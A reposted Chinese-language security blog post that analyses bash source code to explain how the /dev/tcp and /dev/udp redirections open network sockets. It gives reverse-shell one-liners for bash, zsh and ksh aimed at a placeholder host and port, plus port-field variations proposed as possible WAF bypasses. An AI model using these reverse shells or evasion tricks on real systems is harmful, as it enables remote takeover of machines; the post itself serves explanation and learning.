Bash /dev/(tcp|udp)/${HOST}/${PORT} 分析

首发地址:https://www.secpulse.com/archives/71494.html

Background

在反弹 shell 的时候经常遇到这样的 payload:

bash -i 1>&/dev/tcp/${HOST}/${PORT} 2>&1 0>&1

这样的 Payload 总是不能在例如:zsh sh 的环境下起作用
而且印象中:/dev/这个文件夹中保存着系统的设备文件
因此老是以为 /dev/tcp/${HOST}/${PORT} 为一个存在在操作系统文件系统中的像设备一样的文件
但是这个文件并不存在

How does it work?

一直觉得很奇怪,最终经过和队友的一番讨论,感谢队友的指点,终于搞清楚了原因

/dev/tcp/host/port 其实是一个 bash 的 feature
由于是 bash的 feature,因此在别的 shell下就不能生效,所以在渗透测试中,最好还是使用下面命令来进行反弹shell的操作,增加健壮性。

bash -c 'bash -i 1>&/dev/tcp/${HOST}/${PORT} 2>&1 0>&1‘

bash 在处理重定向的时候,除了支持本地文件外,如果在编译的时候 enable 这些选项:

HAVE_DEV_FD(控制是否支持 /dev/fd/[0-9]*)
HAVE_DEV_STDIN(控制是否支持 /dev/stderr /dev/stdin /dev/stdout)
NETWORK_REDIRECTIONS(控制是否支持 /dev/(tcp|udp)/*/*)

则会支持以下几个特殊的形式:

/dev/fd/[0-9]*
/dev/stderr
/dev/stdin
/dev/stdout
/dev/tcp/*/*
/dev/udp/*/*

参考 bash 源码中redir.c对变量_redir_special_filenames的定义
在 bash 打开重定向文件的时候,会先调用find_string_in_alist判断这个被打开的文件完整名称是否匹配上述的六种模式,这个函数可以识别通配符,最终调用的是:strmatch 来判断字符串是否匹配

static int
redir_open (filename, flags, mode, ri)
     char *filename;
     int flags, mode;
     enum r_instruction ri;
{
  int fd, r, e;

  r = find_string_in_alist (filename, _redir_special_filenames, 1);
  if (r >= 0)
    return (redir_special_open (r, filename, flags, mode, ri));
  // ...
}

如果匹配成功,则就会调用 redir_special_open 这个函数来打开这些特殊文件

static int
redir_special_open (spec, filename, flags, mode, ri)
     int spec;
     char *filename;
     int flags, mode;
     enum r_instruction ri;
{
  int fd;
#if !defined (HAVE_DEV_FD)
  intmax_t lfd;
#endif

  fd = -1;
  switch (spec)
    {
#if !defined (HAVE_DEV_FD)
    case RF_DEVFD:
      if (all_digits (filename+8) && legal_number (filename+8, &lfd) && lfd == (int)lfd)
    {
      fd = lfd;
      fd = fcntl (fd, F_DUPFD, SHELL_FD_BASE);
    }
      else
    fd = AMBIGUOUS_REDIRECT;
      break;
#endif

#if !defined (HAVE_DEV_STDIN)
    case RF_DEVSTDIN:
      fd = fcntl (0, F_DUPFD, SHELL_FD_BASE);
      break;
    case RF_DEVSTDOUT:
      fd = fcntl (1, F_DUPFD, SHELL_FD_BASE);
      break;
    case RF_DEVSTDERR:
      fd = fcntl (2, F_DUPFD, SHELL_FD_BASE);
      break;
#endif

#if defined (NETWORK_REDIRECTIONS)
    case RF_DEVTCP:
    case RF_DEVUDP:
#if defined (HAVE_NETWORK)
      fd = netopen (filename);
#else
      internal_warning (_("/dev/(tcp|udp)/host/port not supported without networking"));
      fd = open (filename, flags, mode);
#endif
      break;
#endif /* NETWORK_REDIRECTIONS */
    }

  return fd;
}

分析了这些代码最终的结论为:
虽然/dev/tcp/${HOST}/${PORT} 这个字符串看起来很像一个文件系统中的文件,并且位于 /dev 这个设备文件夹下
但是:这个文件并不存在,而且并不是一个设备文件。这只是 bash 实现的用来实现网络请求的一个接口,其实就像我们自己编写的一个命令行程序,按照指定的格式输入 host port参数,就能发起一个 socket连接完全一样。

其实很奇怪的是为什么这个接口的调用方式和访问文件系统是一样的,这会让很多人误以为这是一个文件,感觉不是特别合理。那么如果有这样的需求:如果真的有一个/dev/tcp/host/port文件该如何重定向? 可能 bash 的设计者在设计这个命令的调用方式的时候就默认不会存在 /dev/tcp 这个文件夹吧,里面也不会有文件。还是感觉这种设计不是很合理,哪怕设计成额外的命令行参数也比现在设计成一个伪文件要对使用者的理解更友好一点。

Any BUGS?

这一节中讨论 bash 在处理 /dev/tcp/${HOST}/${PORT}hostport 字段的时候存在的一些问题
可能会在渗透测试中用到,例如 bypass 一些 waf(当然可能性非常小)

netopen.c

/*
 * Open a TCP or UDP connection given a path like `/dev/tcp/host/port' to
 * host `host' on port `port' and return the connected socket.
 */
int
netopen (path)
     char *path;
{
  char *np, *s, *t;
  int fd;

  np = (char *)xmalloc (strlen (path) + 1);
  strcpy (np, path);

  s = np + 9;
  t = strchr (s, '/');
  if (t == 0)
    {
      internal_error (_("%s: bad network path specification"), path);
      free (np);
      return -1;
    }
  *t++ = '\0';
  fd = _netopen (s, t, path[5]);
  free (np);

  return fd;
}
/*
 * Open a TCP or UDP connection to HOST on port SERV.  Uses getaddrinfo(3)
 * if available, falling back to the traditional BSD mechanisms otherwise.
 * Returns the connected socket or -1 on error.
 */
static int 
_netopen(host, serv, typ)
     char *host, *serv;
     int typ;
{
#ifdef HAVE_GETADDRINFO
  return (_netopen6 (host, serv, typ));
#else
  return (_netopen4 (host, serv, typ));
#endif
}
/*
 * Open a TCP or UDP connection to HOST on port SERV.  Uses the
 * traditional BSD mechanisms.  Returns the connected socket or -1 on error.
 */
static int 
_netopen4(host, serv, typ)
     char *host, *serv;
     int typ;
{
  // ...

  if (_getserv(serv, typ, &p) == 0)
    {
      internal_error(_("%s: invalid service"), serv);
      errno = EINVAL;
      return -1;
    }

  // ...
}
#endif /* ! HAVE_GETADDRINFO */
/* Return 1 if SERV is a valid port number and stuff the converted value into
   PP in network byte order. */   
static int
_getserv (serv, proto, pp)
     char *serv;
     int proto;
     unsigned short *pp;
{
  intmax_t l; 
  // intmax_t 为一个宏定义,在 configure 文件中定义,根据平台不同值可能为 long 或者 long long
  unsigned short s;

  if (legal_number (serv, &l)) 
  // 先将字符串转化为 long,这个操作其实是开发者为了开发方便
  // 将判断字符串是否是一个合法的数字进行了封装
  // 但是这里存在的问题是:在转换的时候没有注意表示范围(将表示范围提升了)
  // 本身端口只需要两个字节来表示(0-65535)
  // 但是这里先将数据提升成了 long 型,然后再 &0xffff 来确保这个数据是在两字节范围内的
  // 这就存在溢出的问题
    {
      s = (unsigned short)(l & 0xFFFF); // 然后再取其后两个字节作为 short int 的端口(Vulnerable?)
      if (s != l)
    return (0);
      s = htons (s);
  // ...
}

finfo.c

int
legal_number (string, result)
     char *string;
     long *result;
{
  int sign;
  long value;

  sign = 1;
  value = 0;

  if (result)
    *result = 0;

  /* Skip leading whitespace characters. */
  while (whitespace (*string))
    string++;

  if (!*string)
    return (0);

  /* We allow leading `-' or `+'. */
  if (*string == '-' || *string == '+')
    {
      if (!digit (string[1]))
        return (0);

      if (*string == '-')
        sign = -1;

      string++;
    }

  while (digit (*string))
    {
      if (result)
        value = (value * 10) + digit_value (*string);
      string++;
    }

  /* Skip trailing whitespace, if any. */
  while (whitespace (*string))
    string++;

  /* Error if not at end of string. */
  if (*string)
    return (0);

  if (result)
    *result = value * sign;

  return (1);
}

gen-helpfiles.c

#define whitespace(c) (((c) == ' ') || ((c) == '\t'))

根据上述代码,我们可以尝试对 port 字段进行变形
例如:
如果 legal_number 正常返回字符串转换得到的数字

cat<'/dev/tcp/127.0.0.1/ 22'
cat<'/dev/tcp/127.0.0.1/65558'
cat<'/dev/tcp/127.0.0.1/+22'
cat<'/dev/tcp/127.0.0.1/    22'
cat<'/dev/tcp/127.0.0.1/    +22'

如果 legal_number 返回 0 (表示转换失败或者输入数字为 0)则会将 serv 字符串传入 getservbyname 函数
根据 man 手册

FILES
       /etc/services
              services database file
tcpmux      1/tcp               # TCP port service multiplexer
echo        7/tcp
echo        7/udp
discard     9/tcp       sink null
discard     9/udp       sink null
systat      11/tcp      users
daytime     13/tcp
daytime     13/udp
netstat     15/tcp
qotd        17/tcp      quote
msp     18/tcp              # message send protocol
msp     18/udp
chargen     19/tcp      ttytst source
chargen     19/udp      ttytst source
ftp-data    20/tcp
ftp     21/tcp
fsp     21/udp      fspd
ssh     22/tcp              # SSH Remote Login Protocol
...
cat<'/dev/tcp/127.0.0.1/ssh'

虽然上述的变形可能在实战中作用不大,但是也算是一种思维的开拓吧。
再来看看处理 host 字段的函数:

static int
_getaddr (host, ap)
     char *host;
     struct in_addr *ap;
{
  struct hostent *h;
  int r;

  r = 0;
  if (host[0] >= '0' && host[0] <= '9')
    {
      /* If the first character is a digit, guess that it's an
     Internet address and return immediately if inet_aton succeeds. */
      r = inet_aton (host, ap);
      if (r)
    return r;
    }
#if !defined (HAVE_GETHOSTBYNAME)
  return 0;
#else
  h = gethostbyname (host);
  if (h && h->h_addr)
    {
      bcopy(h->h_addr, (char *)ap, h->h_length);
      return 1;
    }
#endif
  return 0;
  
}

这里只要 host 的第一个字符是数字,那么就会先调用 inet_aton 这个函数

inet_aton() converts the Internet host address cp from  the  IPv4  num‐
bers-and-dots  notation  into  binary  form (in network byte order) and
stores it in the structure that inp  points  to.   inet_aton()  returns
nonzero  if the address is valid, zero if not.

如果失败则会重新调用 gethostbyname

The gethostbyname*(), gethostbyaddr*(), herror(), and hstrerror() func‐
tions  are  obsolete.  Applications should use getaddrinfo(3), getname‐
info(3), and gai_strerror(3) instead.

暂时没有想到什么可以利用的姿势

What about other shell?

其他的 shell 是否也具备类似的功能?

存在网络连接功能:
  zsh
  ksh
暂时未发现存在网络连接功能:
  fish 
  csh
  sh
  • ZSH
zmodload zsh/net/tcp && ztcp -d 9 127.0.0.1 8080 && zsh 1>&9 2>&9 0>&9
  • KSH
    参考 ksh 的 man 手册
In  each  of  the  following  redirections,  if  file  is  of  the form
/dev/sctp/host/port, /dev/tcp/host/port, or  /dev/udp/host/port,  where
host is a hostname or host address, and port is a service given by name
or an integer port number, then the redirection attempts to make a tcp,
sctp or udp connection to the corresponding socket.

和 bash 类似,但是不同的地方是 ksh 的重定向语法和 bash 略有不同,这个问题比较好解决,直接查阅 ksh 的文档即可

<&digit       
    The standard input is duplicated from file descriptor digit (see dup(2)).  
    Similarly for the standard output using >&digit.
<&digit-      
    The file descriptor given by digit is moved to standard input.  
    Similarly for the standard output using >&digit-.
ksh -c 'ksh >/dev/tcp/${HOST}/${PORT} <&1'

Thinking

  • 看源码是个好习惯,你会发现很多文档中没有的东西(接口、函数…)
  • 举一反三

References

    原文作者:王一航
    原文地址: https://www.jianshu.com/p/80d6b5a61372
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞